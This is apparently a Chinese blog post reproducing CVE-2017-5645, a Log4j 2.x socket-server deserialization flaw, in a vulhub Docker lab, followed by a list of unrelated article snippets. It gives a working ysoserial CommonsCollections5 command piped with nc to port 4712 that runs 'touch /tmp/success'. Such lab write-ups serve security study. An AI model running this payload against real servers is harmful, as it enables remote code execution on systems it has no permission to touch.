vulhub中Apache Log4j Server 反序列化命令执行漏洞复现（CVE-2017-5645）
Apache Log4j是一个用于Java的日志记录库，其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
1.我们使用ysoserial生成payload，然后直接发送给`your-ip:4712`端口即可。
java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712
工具地址 https://github.com/frohoff/ysoserial
需要注意JDK版本的问题 https://github.com/frohoff/ysoserial/issues/203
2.然后执行`docker compose exec log4j bash`进入容器，可见 /tmp/success 已成功创建：
相关文章：
vulhub中Apache Log4j Server 反序列化命令执行漏洞复现（CVE-2017-5645）
Apache Log4j是一个用于Java的日志记录库，其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。 1.我们使用ysoserial生成payload，然后直接发送给your-ip:4712端口即可。 java -jar ysoserial-…...
基于python+django+vue.js开发的医院门诊管理系统/医疗管理系统
功能介绍 平台采用B/S结构，后端采用主流的Python语言进行开发，前端采用主流的Vue.js进行开发。 功能包括：医生管理、科室管理、护士管理、住院管理、药品管理、用户管理、日志管理、系统信息模块。 源码地址 https://github.com/geeeeeee…...
Linux文件系统笔记
文章目录 FILE SYSTEM软硬链接 动静态库 使用别人提供的库 FILE SYSTEM 文件的管理工作： 1.基础知识： 文件 属性 内容不是所有文件都会打开所有的打开的，未打开的文件会进行管理未打开文件，要能做到快速定位文件磁盘–物理存…...
vue封装el-table表格组件
先上效果图： 本文包含了具名插槽、作用域插槽、jsx语法三种： Render.vue（很重要，必须有）: <script> export default {name: "FreeRender",functional: true,props: {scope:Object,render: Functio…...
「Python系列」Python数据结构
文章目录 一、数据结构二、相关链接 一、数据结构 Python提供了多种内置的数据结构，这些数据结构在编程中非常有用。以下是Python中常见的一些数据结构： 列表（List）: 列表是Python中最常用的数据结构之一，它是一个有…...
MySQL多实例部署：从概念到实操的全面指南
目录 MySQL多实例管理 单实例 什么是多实例 多实例的好处 多实例的弊端 MySQL多实例用在哪些场景 资金紧张的公司 用户并发访问量不大的业务 大型网站也有用多实例 部署MySQL多实例 rpm和源码的优缺点 二进制方式安装mysql 准备二进制mysql运行所需的环境 准备多…...
C++学习Day07之虚函数和纯虚函数
目录 前言一、程序及输出1.1 虚函数1.2 纯虚函数1.2.1 定义、示例1.2.2 引入原因1.2.3 抽象类 二、分析与总结 前言 在 C 中，虚函数和纯虚函数是实现多态性的重要概念。虚函数是在基类中声明为虚函数的函数，在派生类中可以被重写，实现动态联…...
GZ036 区块链技术应用赛项赛题第9套
2023年全国职业院校技能大赛 高职组 “区块链技术应用” 赛项赛卷（9卷） 任 务 书 参赛队编号： 背景描述 随着异地务工人员的增多，房屋租赁成为一个广阔是市场；目前，现有技术中的房屋租赁是由…...
微服务—RabbitMQ高级（延迟消息）
本博客为个人学习笔记，学习网站：2023黑马程序员RabbitMQ入门到实战教程 高级篇章节 目录 延迟消息 死信交换机 延迟消息插件 下载安装 延迟交换机声明 编辑 发送延迟消息 订单状态同步问题 延迟消息 在电商的支付业务中，对于一些库…...
香港服务器如何取消windows的自动更新
大家用过电脑的人对windows系统的自动更新应该都不会陌生，其实香港服务器的使用也是一样的方法。为什么要对香港服 务器windows的自动更新进行关闭呢？其主要原因在于，有些更新是不能更新，一更新话，系统反而会变得不稳定…...
kali虚拟机桥接模式快速设置
第一步：选择 虚拟机 > 设置 > 虚拟机设置，设置桥接模式 不选择复制物理网络连接状态选项： 如果采用DHCP的方式来分配IP地址，当电脑网络从有线或无线网络之间进行移动时，DHCP会重新分配ip地址，即虚拟机…...
「连载」边缘计算（十五）02-18：边缘部分源码（源码分析篇）
（接上篇） ChannelContext struct定义如下所示。 KubeEdge/beehive/pkg/core/context/context.go // ChannelContext is object for Context channel type ChannelContext struct { //ConfigFactory goarchaius.ConfigurationFactory channels map[…...
-NoSQL与MySQL的比较)
MySQL性能调优篇(8)-NoSQL与MySQL的比较
MySQL数据库是一种关系型数据库，而NoSQL是一种非关系型数据库。它们在数据存储和处理方式、数据模型和可扩展性等方面存在一些明显的差异。本文将对MySQL数据库和NoSQL进行比较，并介绍它们的优势和劣势。 首先，MySQL使用表格的形式来存储数据…...
【Linux学习】线程池
目录 23.线程池 23.1 什么是线程池 23.2 为什么需要线程池 23.3 线程池的应用场景 23.4 实现一个简单的线程池 23.4.1 RAII风格信号锁 23.4.2 线程的封装 23.4.3 日志打印 22.4.4 定义队列中存放Task类任务 23.4.5 线程池的实现(懒汉模式) 为什么线程池中需要有互斥锁和条件变…...
利用Docker部署一个简单的springboot项目
文章目录 1、首先利用docker部署一个redis中间件1.1、下载redis镜像1.2、在主机创建redis挂载的目录和文件1.3、部署redis中间件 2、创建springboot项目2.1、修改application.yml2.2、编写controller2.3、启动应用并测试访问 3、将应用打包成镜像3.1、编写Dockerfile3.2、上传文…...
【Java】纯小白的三种工厂模式基础知识学习笔记
工厂模式概念 在Java中，工厂模式是一种设计模式，用于创建对象而无需指定明确的类。工厂模式通过定义一个共同的接口或抽象类来创建对象，然后由工厂类根据特定条件或参数来实例化具体的对象。 工厂模式通常包括三种类型：简单工厂…...
Spring Boot 笔记 006 创建接口_注册
1.1 由于返回数据都是以下这种格式，那么久再编写一个result实体类 报错了，原因是没有构造方法 可以使用lombok的注解自动生成，添加无参的构造器和全参的构造器 package com.geji.pojo;import lombok.AllArgsConstructor; import lombok.NoArg…...
沁恒CH32V30X学习笔记08---基本定时器超时功能
TIM 基本定时器 高级定时器模块包含一个功能强大的 16 位自动重装定时器（TIM1、TIM8、TIM9 和 TIM10） 通用定时器模块包含一个 16 位可自动重装的定时器（TIM2、TIM3、TIM4 和 TIM5） 基本定时器模块包含一个 16 位可自动重装的定时器（TIM6 和 TIM7） 定时器的结构大致可…...
GitHub | 在 GitHub 上在线展示 Vue 项目
简洁版：上传所有代码 << 构建项目并上传 dist 目录 << 设置仓库 << 访问 Step1：在 GitHub 上新建仓库，并将 Vue 项目的代码 push 到该仓库中。坑点在于，如果你是从 GitHub 上 clone 的别人的项目，那…...
Android的Compose
Jetpack Compose 是用于构建原生 Android 界面的新工具包，无需修改任何 XML 布局，也不需要使用布局编辑器。相反，只需调用可组合函数来定义所需的元素，Compose 编译器即会完成后面的所有工作。 简而言之，使用Compose&…...
原来不是只有X86和macOS能安装OpenClaw，ARM小盒子居然也能吃上
这几天折腾小龙虾也很频繁，但是因为折腾龙虾，之前小白闲置出来的X86设备重新被启用了。 X86设备配置惠普800G3 SFF（准系统）CPU：i5-6600T内存：16GB8GB硬盘SSD 1TB*2硬盘HDD 4TB 但是这个机器开着机&#x…...
2026年全链路性能测试方案选型与实施指南
2026年全链路性能测试方案选型与实施指南 全链路性能测试已从单一功能验证转向覆盖多终端、多场景的质量保障，需结合硬件层、服务层、决策层三类方案才能应对行业复杂挑战。主流方案包括云真机兼容性测试（硬件层）、SaaS化压力测试平台&#x…...
告别阻塞！用 PHP TrueAsync 实现 PHP 脚本提速 10 倍
proc_open 与 shell_exec 等函数不同，proc_open 是创建进程的丰富工具。PHP 核心甚至为它引入了特殊的"hack"来正确处理管道。管道是进程间通信的最佳方式之一，也是最便捷的方式。唯一更好的方案是共享内存加文件事件，这仅仅是因为…...
UVM实战：RAL寄存器测试全流程详解（含代码示例）
UVM实战：RAL寄存器测试全流程详解（含代码示例） 在芯片验证领域，寄存器测试是确保硬件功能正确性的关键环节。UVM（Universal Verification Methodology）作为行业标准验证方法学，其内置的RAL&…...
python tarfile
# Python tarfile模块：不止是打包与解包 在Python的标准库中，tarfile模块常常被开发者们忽视，或者仅仅被当作一个简单的压缩工具来使用。实际上，这个模块的功能远比表面看起来要丰富得多，它处理的是tar格式的归档文件…...
10类Visdron2019遥感小目标检测数据集该数据集为原始数据集，未经任何图像预处理操作数据集共计8629张图片，分别有对应的标签数据集已划分为训练集、验证集和测试集数据集包括txt格式、
10类Visdron2019遥感小目标检测数据集 该数据集为原始数据集，未经任何图像预处理操作 数据集共计8629张图片，分别有对应的标签 数据集已划分为训练集、验证集和测试集 数据集包括txt格式、xml格式、json格式 相关YOLOv5~YOLOv9模型可直接使用 相关Faster…...
python 文件管理库 Path 解析（详细基础）
1 Path库能做什么： Path库是python常见的文件操作库（以对象形式操作文件路径），可以进行以下操作： 文件路径的拼接（example: test / Your_path / files ） 文件地址的提取（提取名称、…...
Comsol仿真：三相电力变压器电磁场与电路耦合计算，精确预测高低压绕组电压电流分布及磁通密度分布
comsol三相电力变压器电磁场和电路耦合计算，可以得到变压器高低压绕组电压电流分布以及变压器磁通密度分布，今天我们来聊聊如何在COMSOL中模拟三相电力变压器的电磁场和电路耦合计算。通过这个模拟，我们可以得到变压器高低压绕组的电压电流分…...
GetQzonehistory：时光魔法盒，一键找回遗失的QQ空间青春记忆
GetQzonehistory：时光魔法盒，一键找回遗失的QQ空间青春记忆 【免费下载链接】GetQzonehistory 获取QQ空间发布的历史说说 项目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory 你是否还记得十年前在QQ空间写下的第一条说说&#x…...
利用快马AI快速生成STM32温湿度监测系统原型，验证核心逻辑
今天想和大家分享一个嵌入式开发中的实用技巧——如何用InsCode(快马)平台快速搭建STM32温湿度监测系统的原型。这个案例特别适合需要验证硬件逻辑但手头没有开发板的情况。 为什么需要快速原型开发 在传统嵌入式开发中，我们经常遇到这样的困境：硬件还…...